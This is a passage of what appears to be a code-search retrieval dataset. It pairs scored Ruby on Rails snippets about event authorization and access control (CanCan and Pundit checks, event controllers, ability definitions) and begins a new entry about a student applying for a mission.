"text": "def index\n @events = Event.accessible_by(current_ability).where(program: @program)\n @events_commercials = Commercial.where(commercialable_type: 'Event', commercialable_id: @events.pluck(:id))\n @events_missing_commercial = @events.where.not(id: @events_commercials.pluck(:commercialable_id))\n @events_with_requirements = @events.where.not(description: ['', nil])\n\n attended_registrants_ids = @conference.registrations.where(attended: true).pluck(:user_id)\n @missing_event_speakers = EventUser.joins(:event)\n .where('event_role = ? and program_id = ?', 'speaker', @program.id)\n .where.not(user_id: attended_registrants_ids)\n .where(event_id: @events.pluck(:id))\n .includes(:user, :event)\n end",
"title": ""
}
] |
[
{
"docid": "c5cb332bb8821a9da668c6815fa5fc32",
"score": "0.6791258",
"text": "def set_resource\n #apply policy scope\n @event = EventPolicy::Scope.new(current_user, Event).resolve.find(params[:id])\n end",
"title": ""
},
{
"docid": "c4ac69a1661fa60987e73de436f5f014",
"score": "0.677467",
"text": "def set_event\n @event = Event.find(params[:id])\n authorize @event\n end",
"title": ""
},
{
"docid": "06a8e6460c7e3c32f9c21b5a8b0ebf2b",
"score": "0.6675366",
"text": "def show\n authorize @event\n end",
"title": ""
},
{
"docid": "e3e43d6aa0f4a6744ac20541b1e6347e",
"score": "0.6483827",
"text": "def authorize_admin\n authorize! :update, convention.events.new\n end",
"title": ""
},
{
"docid": "1fa19bd1824e9b1c1c4c6d8acd3f4a84",
"score": "0.6156664",
"text": "def edit_start_time\n authorize @event\n end",
"title": ""
},
{
"docid": "c74eba5dab42f68c0909f6fcc1ae1600",
"score": "0.6090217",
"text": "def show\n authorize! :show, Evento\n end",
"title": ""
},
{
"docid": "878faa002826381239e5ce7d19156f78",
"score": "0.6069886",
"text": "def require_authorization!\n unless current_user == @event.user\n render json: {}, status: :forbidden\n end\n end",
"title": ""
},
{
"docid": "c96fb32e823232596e9a8285e3860c71",
"score": "0.6021218",
"text": "def user_action_on_resource_authorized\n end",
"title": ""
},
{
"docid": "0ce464cbd631fdf2013a73e602eb5235",
"score": "0.589772",
"text": "def index\n #@event_users = EventUser.where(event: @event)\n #@event_users = EventUserPolicy::Scope.new(current_user, [:admin, EventUser]).resolve\n @event_users = policy_scope(EventUser.where(event: @event))\n authorize @event_users\n\n add_breadcrumb \"#{@event.code}\", :admin_event_path\n add_breadcrumb \"Usuários\", :admin_event_users_path\n end",
"title": ""
},
{
"docid": "2a596edc9b231998eb556572747315d8",
"score": "0.5872916",
"text": "def security_events\r\n SecurityEventsController.instance\r\n end",
"title": ""
},
{
"docid": "b3021d1b6b31a3d930b858c2993793b7",
"score": "0.5749754",
"text": "def create\n @event = Event.new params[:event]\n authorize! :manage, @event\n @event.save!\n render 'show'\n end",
"title": ""
},
{
"docid": "da1da5ff74f2848c0c22775b7d23eeb1",
"score": "0.57417494",
"text": "def show\n\t\tauthorize! :show, AsistenciaEvento\n end",
"title": ""
},
{
"docid": "ebbeed21e3f33b9c6af2ee0fbaf677f0",
"score": "0.57368666",
"text": "def set_event\n @event = Event.find(params[:id])\n skip_authorization\n end",
"title": ""
},
{
"docid": "35b67f72f58ea166ffe4c0432b597ce2",
"score": "0.57301223",
"text": "def main_index\n @events = Event.order('starts_at ASC').upcoming.includes(:lab)\n @past_events = Event.order('starts_at DESC').past.includes(:lab)\n #authorize_action_for @events\n end",
"title": ""
},
{
"docid": "a68f05313e11eb982b954e443a6bdc7e",
"score": "0.56887525",
"text": "def index\n @lab = Lab.friendly.find(params[:lab_id])\n #authorize_action_for Event\n end",
"title": ""
},
{
"docid": "6101662c0b65acbf660c6c3b93d0516a",
"score": "0.566999",
"text": "def new\n @event = Event.new\n authorize @event, :new?\n end",
"title": ""
},
{
"docid": "3952e8748ce0ae0c912ee4b420d6d84c",
"score": "0.56336766",
"text": "def index\n @events = Event.all\n authorize! :index, Event.new, :message => 'Not authorized as an administrator.'\n end",
"title": ""
},
{
"docid": "8b0c95af747b4cfbfc72967079676a7b",
"score": "0.56028837",
"text": "def load_collection\n current_ability.scope_for(authorization_action, resource_class) do\n resource_base.accessible_by(current_ability, authorization_action)\n end\n end",
"title": ""
},
{
"docid": "388de052bd87923623aaaf0dfe6f6089",
"score": "0.55934423",
"text": "def authorize_inherited_resource!\n authorize! :show, parent if parent?\n authorize! authorizable_action, authorize_resource? ? resource : resource_class\n end",
"title": ""
},
{
"docid": "35a3afe3f23a371fc2ffe949bc4af875",
"score": "0.5578263",
"text": "def show\n @event = Event.shod(params[:id])\n @batches ||= Batch.all\n @departments ||= EmployeeDepartment.all\n authorize! :read, @event\n end",
"title": ""
},
{
"docid": "a2a52ca5495f11dfd00e178eb4db479c",
"score": "0.5520868",
"text": "def authorize_edit\n authorize! :edit, @opportunity\n end",
"title": ""
},
{
"docid": "36af67eeedc38d319e3ccbdae6f5a640",
"score": "0.54979044",
"text": "def event_requirement; end",
"title": ""
},
{
"docid": "3b1eb9ee0d07a5fdb1ba1f07c3c68d95",
"score": "0.5496524",
"text": "def index\n @teams = policy_scope(Team.where(event: @event))\n authorize @event, :show?\n\n add_breadcrumb \"#{@event.code}\", :admin_event_path\n add_breadcrumb \"Equipes\", :admin_event_teams_path\n\n end",
"title": ""
},
{
"docid": "b0f4bbdc18159bcbd2f6cf45cbffd6a0",
"score": "0.54764605",
"text": "def volunteer_portal\n authorize! :volunteer_portal, :Reservation\n end",
"title": ""
},
{
"docid": "226b5a0a527003c531a1dd38e5e6edcd",
"score": "0.5474237",
"text": "def not_signed_in\n can [:index, :conferences, :code_of_conduct], Organization\n can [:index], Conference\n can [:show], Conference do |conference|\n conference.splashpage&.public == true\n end\n # Can view the schedule\n can [:schedule, :events], Conference do |conference|\n conference.program.cfp && conference.program.schedule_public\n end\n\n can :show, Event do |event|\n event.state == 'confirmed'\n end\n\n can [:show, :events, :app], Schedule do |schedule|\n schedule.program.schedule_public\n end\n\n # can view Commercials of confirmed Events\n can :show, Commercial, commercialable: Event.where(state: 'confirmed')\n can [:show, :create], User\n\n can [:index, :show], Survey, surveyable_type: 'Conference'\n\n # Things that are possible without ichain enabled that are **not*+ possible with ichain mode enabled.\n if ENV.fetch('OSEM_ICHAIN_ENABLED', nil) != 'true'\n # There is no reliable way for this workflow (enable not logged in users to fill out a form, then telling\n # them to sign up once they submit) in ichain. So enable it only without ichain.\n\n # FIXME: The following abilities need to be checked. Are they about the type of workflow mentioned above? Or are\n # they just here because they worked in development mode (without ichain). We are suspicious that it's the latter!\n can :show, Registration do |registration|\n registration.new_record?\n end\n\n can [:new, :create], Registration do |registration|\n conference = registration.conference\n conference.registration_open? && registration.new_record? && !conference.registration_limit_exceeded?\n end\n\n can :show, Event do |event|\n event.new_record?\n end\n\n can [:new, :create], Event do |event|\n event.program.cfp_open? && event.new_record?\n end\n end\n end",
"title": ""
},
{
"docid": "dd2fd65d672389109cad641033678be6",
"score": "0.5464832",
"text": "def find_event\n @event = @conference.events.is_public.accepted.scheduled.find(params[:event_id])\n end",
"title": ""
},
{
"docid": "155e81da3c51c2716f9a2dad6e11e66f",
"score": "0.5420926",
"text": "def showdep\n @departments ||= EmployeeDepartment.all\n authorize! :create, Event\n end",
"title": ""
},
{
"docid": "be59aa9528a4f0be5bb85b420e1ba9ae",
"score": "0.5416177",
"text": "def load_event\n @event = Event.find(params[:event_id])\n end",
"title": ""
},
{
"docid": "321c32a17e84feece37a323a9315cf98",
"score": "0.54081684",
"text": "def load_event\n @event = Event.find(params[:id])\n end",
"title": ""
},
{
"docid": "5863ba252369b103dc0a9c9e0ac67385",
"score": "0.54072595",
"text": "def authorize_resource\n EffectiveResources.authorize!(self, action_name.to_sym, resource)\n end",
"title": ""
},
{
"docid": "56946dadf82e79e2f1f30702b0cb27a4",
"score": "0.54068154",
"text": "def authorize\n run_callbacks :authorize do\n\n policy = Pundit.policy!(context.fetch(:current_token), @model)\n permission = \"#{context.fetch(:current_action)}?\"\n\n unless policy.public_send(permission)\n raise Pundit::NotAuthorizedError.new(query:permission, record: @model, policy: policy)\n end\n end\n end",
"title": ""
},
{
"docid": "e94e11246268c3e97849de431236c0bd",
"score": "0.540013",
"text": "def index\n @events = Event.order(created_at: :desc)\n authorize @events, :index?\n end",
"title": ""
},
{
"docid": "e49a4362c19b36563041fd21b0ff9ed8",
"score": "0.53971833",
"text": "def authorize_admin\n permission = params[:action] == 'update' ? :manage : :read\n authorize! permission, convention.event_proposals.new(status: 'reviewing')\n end",
"title": ""
},
{
"docid": "c2f4fc27ebe9c21ccff2c4dc43fcae60",
"score": "0.539244",
"text": "def create\n @event = Event.new(event_params)\n authorize @event\n\n if(current_account && current_account.accountable_type == \"Business\")\n @event.business = current_account.accountable\n end\n\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render :show, status: :created, location: @event }\n else\n format.html { render :new }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "39485c44bfaaa956d824e2de2b34eb72",
"score": "0.53889126",
"text": "def set_access\n @access = @current_event.accesses.find(params[:id])\n authorize @access\n end",
"title": ""
},
{
"docid": "6146be367767fc3ba3a294dbc369b0ef",
"score": "0.53639364",
"text": "def load_permissions\n authorize! :manage, :all\n end",
"title": ""
},
{
"docid": "555bb91d3af1c9a9dd18088b578297f1",
"score": "0.53476274",
"text": "def set_resource\n @course = Course.find(params[:id])\n authorize @course\n end",
"title": ""
},
{
"docid": "24777065b695881313de482be3ccc9e1",
"score": "0.5337172",
"text": "def show\n if current_user != @event.creator && !@event.invitees.include?(current_user) && !@event.attendees.include?(current_user)\n redirect_to root_path, alert: \"You don't have permission to do that\"\n else \n if !current_user.attending_events.include?(@event) && @event.invitees.include?(current_user)\n current_user.attending_events << @event\n current_user.user_events.find_by(event_id: @event.id).destroy\n end\n end\n end",
"title": ""
},
{
"docid": "4fdf0f82de1b56592265c146a273934b",
"score": "0.53288776",
"text": "def authorized_user\n @event = Event.friendly.find(params[:id])\n if @event.creator_id != current_user.id\n if current_user.email == 'pubudu@eventhub.lk' || current_user.email == 'pavithra@eventhub.lk'\n return true\n end\n redirect_to root_path, alert: \"Oops! You don't have permission to do that\"\n end\n end",
"title": ""
},
{
"docid": "aa126b9bc0cddfe8a1fe380a3439dfe2",
"score": "0.528735",
"text": "def authorize_resource(*args); end",
"title": ""
},
{
"docid": "b4408bb176868929f0465b0aff69afdb",
"score": "0.52833855",
"text": "def relevant_events_scope\n events\n end",
"title": ""
},
{
"docid": "c2d5e42cc21db5d3227b9e2ad2408131",
"score": "0.5278165",
"text": "def post_event_course_org\n event = params[:id] == 'new' ? Event.new : Event.friendly.find(params[:id])\n\n # This should change to params.dig(:event_group, :id) when the event-staging app supports event_groups\n event_group = EventGroup.find_or_initialize_by(id: event.event_group_id)\n course = Course.find_or_initialize_by(id: params.dig(:course, :id))\n organization = Organization.find_or_initialize_by(id: params.dig(:organization, :id))\n\n persisted_resources = [event, event_group, course, organization].select(&:persisted?)\n skip_authorization if persisted_resources.empty?\n persisted_resources.each { |resource| authorize resource }\n\n setter = EventCourseOrgSetter.new(event: event, event_group: event_group, course: course, organization: organization, params: params)\n setter.set_resources\n if setter.status == :ok\n render json: setter.resources.map { |resource| [resource.class.to_s.underscore, resource] }.to_h, status: setter.status\n else\n render json: {errors: setter.resources.map { |resource| jsonapi_error_object(resource) }}, status: setter.status\n end\n end",
"title": ""
},
{
"docid": "292fad8d26a7ba67097c88017958323b",
"score": "0.5273909",
"text": "def skip_load_and_authorize_resource(*args)\n skip_load_resource(*args)\n skip_authorize_resource(*args)\n end",
"title": ""
},
{
"docid": "c3bca195e3e7e9684f84e7743b719a8c",
"score": "0.52726",
"text": "def find_event\n if Event.exists?(params[:id])\n if !Event.find(params[:id]).latitude.nil? && !Event.find(params[:id]).longitude.nil?\n @event = Event.find(params[:id])\n authorize @event\n else\n redirect_to(events_path)\n end\n else\n redirect_to(events_path)\n end\n end",
"title": ""
},
{
"docid": "ca1b04b9948b901749455a237c1cb4c9",
"score": "0.5269891",
"text": "def before_authorization(action, role, resource_config)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "547c3f52c1ab579bc9e17ff1b536507b",
"score": "0.526121",
"text": "def set_event\n exist_event = Event.where(id: params[:id])\n if exist_event != [] and logged_in?\n @event = Event.find(params[:id])\n else\n flash[:danger] = \"You don't have permission to perform this action.\"\n if !logged_in?\n redirect_to root_path\n else\n redirect_to events_path\n end\n end\n end",
"title": ""
},
{
"docid": "175e392a9771f0ac137e13a526cae9ae",
"score": "0.5241551",
"text": "def display_resource(event)\n event.name\n end",
"title": ""
},
{
"docid": "e4821f0ca6923b36099395d30f460462",
"score": "0.5230054",
"text": "def event_params\n permitted = params.require(:calendars_event).permit(policy(@event).permitted_attributes)\n permitted[:privileged_changer] = true if policy(@event).privileged_change?\n permitted\n end",
"title": ""
},
{
"docid": "c2dd0a2e42da92dfa2ea112b4c1b48c2",
"score": "0.52238387",
"text": "def index\n authorize! :index, @event, :message => 'Not authorized as an administrator.'\n @events = Event.find(:all, order: \"created_at DESC\")\n @event = Event.new\n end",
"title": ""
},
{
"docid": "793a8c6fa63e162016b0864937eddcf0",
"score": "0.5220483",
"text": "def common_abilities_for_admins(user)\n can :access, Admin\n can :manage, :all if user.is_admin?\n\n conf_ids_for_organizer = Conference.with_role(:organizer, user).pluck(:id)\n conf_ids_for_cfp = Conference.with_role(:cfp, user).pluck(:id)\n conf_ids_for_info_desk = Conference.with_role(:info_desk, user).pluck(:id)\n\n if conf_ids_for_organizer\n # To access splashpage of their conference if it is not public\n can :show, Conference, id: conf_ids_for_organizer\n # To access conference/proposals/registrations\n can :manage, Registration, conference_id: conf_ids_for_organizer\n # To access conference/proposals\n can :manage, Event, program: { conference_id: conf_ids_for_organizer }\n # To access comment link in menu bar\n can :index, Comment, commentable_type: 'Event',\n commentable_id: Event.where(program_id: Program.where(conference_id: conf_ids_for_organizer).pluck(:id)).pluck(:id)\n end\n\n if conf_ids_for_cfp\n # To access comment link in menu bar\n can :index, Comment, commentable_type: 'Event',\n commentable_id: Event.where(program_id: Program.where(conference_id: conf_ids_for_cfp).pluck(:id)).pluck(:id)\n # To access conference/proposals\n can :manage, Event, program: { conference_id: conf_ids_for_cfp }\n end\n\n if conf_ids_for_info_desk\n # To access conference/proposals/registrations\n can :manage, Registration, conference_id: conf_ids_for_info_desk\n end\n end",
"title": ""
},
{
"docid": "cecc9758576fa9d827f028491c46b8de",
"score": "0.5212666",
"text": "def set_event\n # Get only current user events\n @event = current_user.events.find(params[:id])\n end",
"title": ""
},
{
"docid": "416ca600aa94982d668cdd693e35f358",
"score": "0.51717466",
"text": "def permitted_events\n events = self.states_events_config.map { |se| se[:event] }\n events.delete_if { |e| !event_permitted(e) }\n end",
"title": ""
},
{
"docid": "85eefdb4d4dd76ffe6c0fd3eb037791b",
"score": "0.51682246",
"text": "def pre_authorize_cb; end",
"title": ""
},
{
"docid": "cf305be569a7342de86d856a3e2af7df",
"score": "0.51626706",
"text": "def validate_permission\n unless current_user.permissions.include?(:events)\n flash[:error] = 'You do not have permission to edit Events.'\n redirect_to '/admin'\n end\n end",
"title": ""
},
{
"docid": "b59933957896b1552d4b691744fbac17",
"score": "0.51617974",
"text": "def show\n # @event = Event.find(params[:id])\n raise ApiAccessEvanta::RecordOutOfScope unless current_user.allowed_to?(action: :view, object: @event)\n render json: @event\n end",
"title": ""
},
{
"docid": "fd3dfaa55f573ef855dc4964024057eb",
"score": "0.515592",
"text": "def post_event_course_org\n course = Course.find_or_initialize_by(id: params[:course][:id])\n authorize course unless course.new_record?\n\n organization = Organization.find_or_initialize_by(id: params[:organization][:id])\n authorize organization unless organization.new_record?\n\n setter = EventCourseOrgSetter.new(event: @event, course: course, organization: organization, params: params)\n setter.set_resources\n if setter.status == :ok\n render json: setter.resources.map { |resource| [resource.class.to_s.underscore, resource.to_json] }.to_h, status: setter.status\n else\n render json: {errors: setter.resources.map { |resource| jsonapi_error_object(resource) }}, status: setter.status\n end\n end",
"title": ""
},
{
"docid": "89c97a8c12fd1b566f87cbe44c8fd312",
"score": "0.5149967",
"text": "def authenticate_scope!\r\n send(:\"authenticate_#{resource_name}!\")\r\n self.resource = resource_class.find(send(:\"current_#{resource_name}\").id)\r\n end",
"title": ""
},
{
"docid": "64aa34f5feb506c4a30a0d5b9de4f9aa",
"score": "0.5144657",
"text": "def check_permission(event, role)\n case role\n when 'botmaster'\n {\n granted: event.user.id == BOTMASTER_ID,\n allowed: ['botmasters']\n }\n else\n names = Role.owners(role).pluck(:username)\n {\n granted: Role.exists(event.user.id, role),\n allowed: role.pluralize #names\n }\n end\nend",
"title": ""
},
{
"docid": "755cf135c1a36e49567b77b9613bfc53",
"score": "0.5136454",
"text": "def events\r\n load_private_events\r\n load_completed_private_events\r\n end",
"title": ""
},
{
"docid": "e4c102be83f4c437e32b0a1509677fa5",
"score": "0.5134797",
"text": "def resource_check(verb, id = params[:id], klass = controller_name.classify.constantize)\n return unless RBAC::Access.enabled?\n\n permission_check(verb, klass)\n\n raise Exceptions::NotAuthorizedError, \"#{verb.titleize} access not authorized for #{klass} with id: #{id}\" unless resource_instance_accessible?(klass.table_name, id)\n end",
"title": ""
},
{
"docid": "e4c102be83f4c437e32b0a1509677fa5",
"score": "0.5134797",
"text": "def resource_check(verb, id = params[:id], klass = controller_name.classify.constantize)\n return unless RBAC::Access.enabled?\n\n permission_check(verb, klass)\n\n raise Exceptions::NotAuthorizedError, \"#{verb.titleize} access not authorized for #{klass} with id: #{id}\" unless resource_instance_accessible?(klass.table_name, id)\n end",
"title": ""
},
{
"docid": "b20573f1b0ebcf8977b1fd37886a1d69",
"score": "0.51339096",
"text": "def get_user\n @current_user = current_user\n @can_manage = can? :manage, Event\n end",
"title": ""
},
{
"docid": "49372bcd844fb40f8b4183a9dc03f481",
"score": "0.5124535",
"text": "def resourceType\n 'AuditEvent'\n end",
"title": ""
},
{
"docid": "6f903467000958cc6255512e8e021ca2",
"score": "0.51214564",
"text": "def create\n authorize! :create, Event\n @event = Event.new(event_params)\n\n respond_to do |format|\n if @event.save\n format.html { redirect_to \"/events/#{@event.id}/edit\", notice: 'Event was successfully created.' }\n format.json { render action: 'show', status: :created, location: @event }\n else\n format.html { render action: 'new' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9c02f590a16e858f09ab4ce603614bfc",
"score": "0.51178724",
"text": "def new_load_voyage\n return if authorise_for_web(program_name?,'create')== false\n render_new_load_voyage\n end",
"title": ""
},
{
"docid": "294b437d49b025ef0941664118c6ad64",
"score": "0.5115226",
"text": "def event_data\n\n authorize @event\n if @event.available_live\n render partial: 'live/events/event_data.json.ruby'\n else\n render partial: 'live/events/live_entry_unavailable.json.ruby'\n end\n end",
"title": ""
},
{
"docid": "9dad66ef07d283daf7168df4aeafb8d5",
"score": "0.51123077",
"text": "def index\n # Do not use CanCan load_resource here (see skip_load_resource above)\n @data = Event.data_for_list\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end",
"title": ""
},
{
"docid": "9435b075be9b73d37780bb7a04725eb3",
"score": "0.51117134",
"text": "def resource_check(verb, id = params[:id], klass = controller_name.classify.constantize)\n return unless Insights::API::Common::RBAC::Access.enabled?\n\n permission_check(verb, klass)\n\n raise Exceptions::NotAuthorizedError, \"#{verb.titleize} access not authorized for #{klass} with id: #{id}\" unless resource_instance_accessible?(klass.table_name, id)\n end",
"title": ""
},
{
"docid": "0487113cc5767444a54e739488314202",
"score": "0.5105359",
"text": "def require_same_organizer\n if current_organizer != @event.organizer and !current_organizer.admin?\n flash[:danger] = \"You can only edit or delete your own events\"\n redirect_to root_path\n end \n end",
"title": ""
},
{
"docid": "a8e7928636493b56770b46d78d9c9450",
"score": "0.5099423",
"text": "def show\n\t\t@event = Event.find(params[:id])\n\n\t\tunless @event.user == current_user\n\t\t\traise CanCan::AccessDenied\n\t\tend\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.json { render json: @event }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "e70aa9789d1f03ded4d4b67d823f36c3",
"score": "0.50991863",
"text": "def initialize(user)\n user ||= User.new # guest user (not logged in)\n\n can [:create, :update, :destroy], Idea, :book_event => { :user_id => user.id }\n can [:create, :update, :destroy], BookEvent, :user_id => user.id\n\n end",
"title": ""
},
{
"docid": "c45b0d5b9f82cf1e51ed33f7d3e19eff",
"score": "0.5095251",
"text": "def index\n @video_calls = policy_scope(VideoCall).all\n authorize @video_calls\n end",
"title": ""
},
{
"docid": "be86ee7b1dab34bf06a5ce715b8bc3e2",
"score": "0.50826806",
"text": "def create\n @event = Event.new(event_params)\n @event.slug ||= @event.name.parameterize if @event.name\n authorize @event\n if @event.save\n redirect_to event_path( @event ), notice: 'Event was successfully created.'\n else\n render :new\n end\n end",
"title": ""
},
{
"docid": "6c3ced31e0c2457c0504c69f4b3fe95d",
"score": "0.50816816",
"text": "def event_permitted(event)\n case event\n when :review\n [:pending, :requested].include? current_state\n when :confirm\n if !has_digital_items?\n [:pending, :reviewing].include? current_state\n else\n current_state == :reviewing\n end\n when :begin_work\n current_state == :pending && any_items_ready?\n when :complete_work\n current_state == :in_progress\n when :fulfill\n if reproduction_order?\n current_state == :work_complete\n else\n all_items_ready? && (current_state == :confirmed)\n end\n when :activate\n current_state == :fulfilled\n when :close\n if reproduction_order?\n current_state == :fulfilled\n else\n (current_state == :fulfilled) && finished?\n end\n end\n end",
"title": ""
},
{
"docid": "a3c70a6da80a4ab03d8bcd58bc2514a8",
"score": "0.50797904",
"text": "def show\n require 'uri'\n @event = EventOwner.find(params[:id])\n @is_admin = current_user && current_user.id == @event.id\n end",
"title": ""
},
{
"docid": "ad3ef5de1aa66b5b067ce78ee7a39e7f",
"score": "0.5076562",
"text": "def create\n # Do not use CanCan load_resource here (see skip_load_resource above)\n respond_to do |format|\n if Event.add_event(params, current_user)\n format.html { redirect_to events_path, notice: 'Event was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end \n end",
"title": ""
},
{
"docid": "edaee7a8e29b6839a9b930922662bd82",
"score": "0.50736606",
"text": "def new\n authorize! :create, @event.event_registrations.new\n @event_registration = @event.event_registrations.new(user: current_user)\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"title": ""
},
{
"docid": "6a21a6077489b1c2a30002d624326f6a",
"score": "0.50668466",
"text": "def authorize_admin_profiles\n authorize convention, :view_attendees?\n end",
"title": ""
},
{
"docid": "7be4c1e99e212c1ceb27fa7ded059607",
"score": "0.5046866",
"text": "def event_collection(project_id, event_collection)\n resource \"projects/#{project_id}/events/#{event_collection}\"\n end",
"title": ""
},
{
"docid": "8751823094b8b81da11a78253f5b8b94",
"score": "0.5036794",
"text": "def authorize_resource\n authorize!(:disburse, @disbursement)\n @disbursement.experience_points_records.each do |record|\n authorize!(:create, record)\n end\n end",
"title": ""
},
{
"docid": "c35f62e92f9d7997805c82f64c8b3c7e",
"score": "0.5030377",
"text": "def show\n #TODO\n if !current_user.has_role?(:admin)\n redirect_to events_path\n return\n end\n end",
"title": ""
},
{
"docid": "2cbecfa5c6d24dfe128e9bfe5123e6d1",
"score": "0.5029928",
"text": "def pre_authorize_cb=(_arg0); end",
"title": ""
},
{
"docid": "130291bbf3c05e0818d2c41835805d85",
"score": "0.50289756",
"text": "def new\n @event = Event.new\n if !(can? :manage, :all)\n flash[:error] = \"Access Denied.\"\n redirect_to root_url\n else\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @event }\n end\n end\n end",
"title": ""
},
{
"docid": "74fffcf26cdb43e66f134130785f7158",
"score": "0.5025699",
"text": "def show\n if (@account.can_modify_event?)\n @event = Event.find(params[:id])\n else \n @event = Event.find_with_account(params[:id], @account)\n end\n respond_not_found unless @event\n redirect_to(event_clients_path(:event_id => @event.id))\n end",
"title": ""
},
{
"docid": "9fd8a1ea84e62a631c0a8aa0a7015709",
"score": "0.50216365",
"text": "def update\n authorize @event\n if @event.update(event_params)\n redirect_to event_path( @event ) , notice: 'Event was successfully updated.'\n else\n render :edit\n end\n end",
"title": ""
},
{
"docid": "e12a2437972545cb60336a4dae1e32c7",
"score": "0.5005923",
"text": "def create\n @event = Event.new(event_params)\n authorize! :create, @event, :message => 'Not authorized as an administrator.'\n respond_to do |format|\n if @event.save\n format.html { redirect_to @event, notice: 'Event was successfully created.' }\n format.json { render action: 'show', status: :created, location: @event }\n else\n format.html { render action: 'new' }\n format.json { render json: @event.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4f27274b35e44124cf5ad9e5afc570ca",
"score": "0.49984714",
"text": "def set_event\n @event = Event.find(params[:id])\n @current_user_is_participating = @event.participants.find_by(user_id: current_user.id) != nil if user_signed_in?\n end",
"title": ""
},
{
"docid": "203eba88456438fd6cd3c11c182fab0d",
"score": "0.49984553",
"text": "def index\n if current_user && current_user.is_admin? && params_user_id\n @events = User.find(params_user_id).events.where(is_validated:true)\n elsif params_user_id && params_user_id.to_i == current_user.id\n @events = current_user.events.where(is_validated:true)\n elsif params_user_id && params_user_id.to_i != current_user.id \n redirect_to root_path\n else\n @events= Event.where(is_validated:true)\n end\n end",
"title": ""
},
{
"docid": "0640362f5ccd3e357c69882144521f0f",
"score": "0.49971965",
"text": "def event_collections(project_id)\n resource \"projects/#{project_id}/events\"\n end",
"title": ""
},
{
"docid": "7cb12a79c2de9e19d6e647c1899729a0",
"score": "0.4996045",
"text": "def set_and_authorize_measure\n @measure = policy_scope(base_object).find(params[:id])\n authorize @measure\n end",
"title": ""
},
{
"docid": "252f4e167820fb0db6e1395a92105803",
"score": "0.49935302",
"text": "def index\n @events = Event.where.not(id: current_user.events.ids + current_user.belongs_events.pluck(:id))\n @event = Event.new\n end",
"title": ""
},
{
"docid": "04810c739567ec0a7d20a99a1ff3d630",
"score": "0.4989788",
"text": "def event\n resource.event :name => event_name, :desired_value => should, :property => self, :source_description => path\n end",
"title": ""
},
{
"docid": "ea84f2f77bdb0f1ebb221b40dbda90f9",
"score": "0.4983939",
"text": "def list_policy_events(id:)\n get(\"policies/#{id}/events\")\n end",
"title": ""
},
{
"docid": "056a8c1599af60d122f32a5bf40de69b",
"score": "0.49829906",
"text": "def index\n @user_games = policy_scope(UserGame).order(created_at: :desc)\n @user = User.find(params[:user_id])\n @user_game = UserGame.new\n authorize @user_game\n end",
"title": ""
},
{
"docid": "9ee62bc46d51f591a888592794d5a4c5",
"score": "0.49779153",
"text": "def qualified_event; end",
"title": ""
},
{
"docid": "9ee62bc46d51f591a888592794d5a4c5",
"score": "0.49779153",
"text": "def qualified_event; end",
"title": ""
},
{
"docid": "303fbd1c505b585cdd1fe50808437766",
"score": "0.49763507",
"text": "def show\n @origin = 'room'\n if params[:origin]\n @origin = params[:origin]\n end\n @event = Event.find(params[:id])\n @members = @event.users\n if current_user\n @is_moderator = ModeratorRole.exists?(user_id: current_user.id, course_id: @event.course_id)\n if current_user.id == @event.user_id\n @is_member = true\n else\n @is_member = UserEvent.exists?(user_id: current_user.id, event_id: @event.id)\n end\n allowed = false\n denied = 'Acción Inválida!'\n if @event.e_type == 'Study'\n allowed = UserCourse.exists?(user_id: current_user.id, course_id: @event.course_id)\n unless allowed\n denied = 'Debes inscribirte primero en el curso del evento!'\n end\n elsif @event.e_type == 'Search'\n allowed = UserCourse.exists?(user_id: current_user.id, course_id: @event.course_id, role: 'Alumno')\n unless allowed\n denied = 'Debes inscribirte como alumno primero en el curso del evento!'\n end\n end\n if params[:join] && !@is_member\n if allowed\n if @event.e_type == 'Study' && (@members.length + 2 <= @event.max_amount)\n current_user.events << @event\n notice = 'Te has unido al evento!'\n elsif @event.e_type != 'Study'\n current_user.events << @event\n notice = 'Te has unido al evento!'\n else\n notice = 'No se permiten más miembros en este grupo de estudio!'\n end\n else\n notice = denied\n end\n respond_to do |format|\n format.html { redirect_to event_url(:id => @event, :origin => @origin), notice: notice }\n format.json { head :no_content }\n end\n elsif params[:unjoin] && @is_member\n if @event.user_id != current_user.id\n @relation = UserEvent.find_by(user_id: current_user.id, event_id: @event.id)\n @relation.delete\n @relation.destroy\n respond_to do |format|\n format.html { redirect_to event_url(:id => @event.id, :origin => @origin),\n notice: 'Te has salido del evento!' }\n format.json { head :no_content }\n end\n end\n end\n end\n end",
"title": ""
},
{
"docid": "c966c4122576e58cbc7a88089be535d1",
"score": "0.49604028",
"text": "def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\")\n self.resource = resource_class.find(send(:\"current_#{resource_name}\").id)\n end",
"title": ""
},
{
"docid": "c966c4122576e58cbc7a88089be535d1",
"score": "0.49604028",
"text": "def authenticate_scope!\n send(:\"authenticate_#{resource_name}!\")\n self.resource = resource_class.find(send(:\"current_#{resource_name}\").id)\n end",
"title": ""
},
{
"docid": "5d7e3edf0f0539250ec8f784ac27ae13",
"score": "0.4958905",
"text": "def edit\n @event = current_user.events.find(params[:id])\n end",
"title": ""
},
{
"docid": "a2ae1853ce00e37c88fd9211bfae0a10",
"score": "0.4957711",
"text": "def allow( event )\n return nil if @level > event.level\n @filters.each do |filter|\n break unless event = filter.allow(event)\n end\n event\n end",
"title": ""
}
] |
0b773f5515a4c983354568c6bfa898e2
|
New student has apply for mission
|
[
{
"docid": "02cb3147c35e715e1677b4def3651d79",
"score": "0.6460873",
"text": "def new_student_applied(user, mission)\n @user = user\n @mission = mission\n @url_site = URL_SITE\n mail(:to => MAIL_ADMIN, \n :subject => '[EWTL] Nouveau postulant ' + mission.title)\n end",
"title": ""
}
] |
[
{
"docid": "2f37426835a8b68420f92ccee5d2ab08",
"score": "0.6400198",
